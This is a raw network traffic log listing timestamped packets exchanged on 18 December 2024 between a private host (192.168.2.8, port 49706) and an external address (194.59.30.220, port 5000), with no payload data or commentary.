Dec 18, 2024 11:56:27.136672974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.136773109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.137526989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.137667894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.137722969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.138478994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.138784885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.138851881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.139529943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.139586926 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.139698982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.140516043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.140599012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.140649080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.141688108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.141751051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.141757965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.142646074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.142821074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.142879009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.143930912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.143992901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.144104004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.144804001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.144845963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.144855022 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.145709991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.145755053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.145956039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.146691084 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.146738052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.146775961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.147386074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.147459030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.147573948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.148106098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.148118973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.148161888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.148889065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.148901939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.148938894 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.149497986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.149540901 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.150085926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.150240898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.150253057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.150290012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.150969982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.150983095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.151010036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.151894093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.152024984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.152049065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.152692080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.152736902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.152898073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.153326035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.153393030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.153435946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.154098034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.154150963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.154354095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.154697895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.154710054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.154746056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.155471087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.155483007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.155539989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.156322956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.156336069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.156371117 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.157237053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.157248974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.157299042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.158154964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.158210993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.158566952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.159105062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.159166098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.159238100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.159964085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.159976006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.160016060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.160667896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.160679102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.160712004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.169073105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.169122934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.169209957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.169485092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.169599056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.169660091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.170348883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.170409918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.170469999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.171349049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.171400070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.307725906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.307780027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.307843924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.307904005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.307924032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.307970047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.308832884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.308923960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.309777975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.309833050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.309861898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.309907913 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.310390949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.310587883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.310801029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.311357021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.311369896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.311422110 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.312259912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.312273026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.312341928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.313060999 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.313183069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.314075947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.314089060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.314132929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.314157963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.314876080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.315171003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.315223932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.315845013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.315856934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.315917969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.316781998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.316864014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.317612886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.317625046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.317667961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.317692041 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.318504095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.318911076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.318964005 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.319372892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.319583893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.320362091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.320374966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.320406914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.320436001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.321177959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.321274042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.321325064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.322026014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.322264910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.322571993 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.323031902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.323044062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.323096037 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.323985100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.323998928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.324042082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.324771881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.324871063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.325753927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.325771093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.325800896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.325831890 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.326541901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.326698065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.327459097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.327506065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.327569962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.327613115 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.328327894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.328442097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.329257965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.329304934 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.329418898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.329462051 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.330126047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.330183983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.330502987 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.331012964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.331223965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.331919909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.331965923 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.332068920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.332253933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.332871914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.332885027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.332937002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.333825111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.333885908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.334543943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.334688902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.334707022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.335495949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.335542917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.335637093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.335688114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.336457968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.336544991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.337321997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.337368965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.337493896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.337539911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.338197947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.338403940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.338645935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.339108944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.339241982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.339287996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.339992046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.340056896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.340892076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.340934992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.340991974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.341032982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.341854095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.341918945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.342489958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.342725039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.342737913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.342780113 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.343592882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.343770027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.344497919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.344541073 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.344650030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.344692945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.345419884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.345523119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.346301079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.346344948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.346426964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.346472025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.347174883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.347352982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.347404957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.348153114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.348172903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.348237991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.349014044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.349216938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.349869013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.349920034 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.350064039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.350112915 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.350846052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.350974083 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.351036072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.351761103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.361023903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.361053944 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.361103058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.361247063 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.361314058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.361429930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.362052917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.362102032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.362107992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.362833023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.362886906 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.499764919 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.499892950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.499950886 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.500263929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.500720024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.500777006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.501357079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.501564026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.501648903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.502430916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.502564907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.502610922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.503604889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.503618002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.503659010 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.504581928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.504942894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.504992008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.505620956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.505634069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.505680084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.506659985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.506827116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.506874084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.507607937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.507620096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.507668972 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.508405924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.508445024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.508697987 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.509212971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.509367943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.509416103 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.509990931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.510029078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.510075092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.510986090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.510998964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.511038065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.511902094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.512092113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.512150049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.512748957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.512855053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.512897015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.513576031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.513811111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.513870001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.514457941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.514471054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.514508963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.515208960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.515221119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.515260935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.515947104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.516086102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.516132116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.516849041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.516861916 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.516899109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.517662048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.517673969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.517721891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.518371105 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.518656015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.518703938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.519145012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.519295931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.519443035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.519893885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.519906998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.519944906 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:27.520437002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:27.520570040 CET	5000	49706	194.59.30.220	192.168.2.8
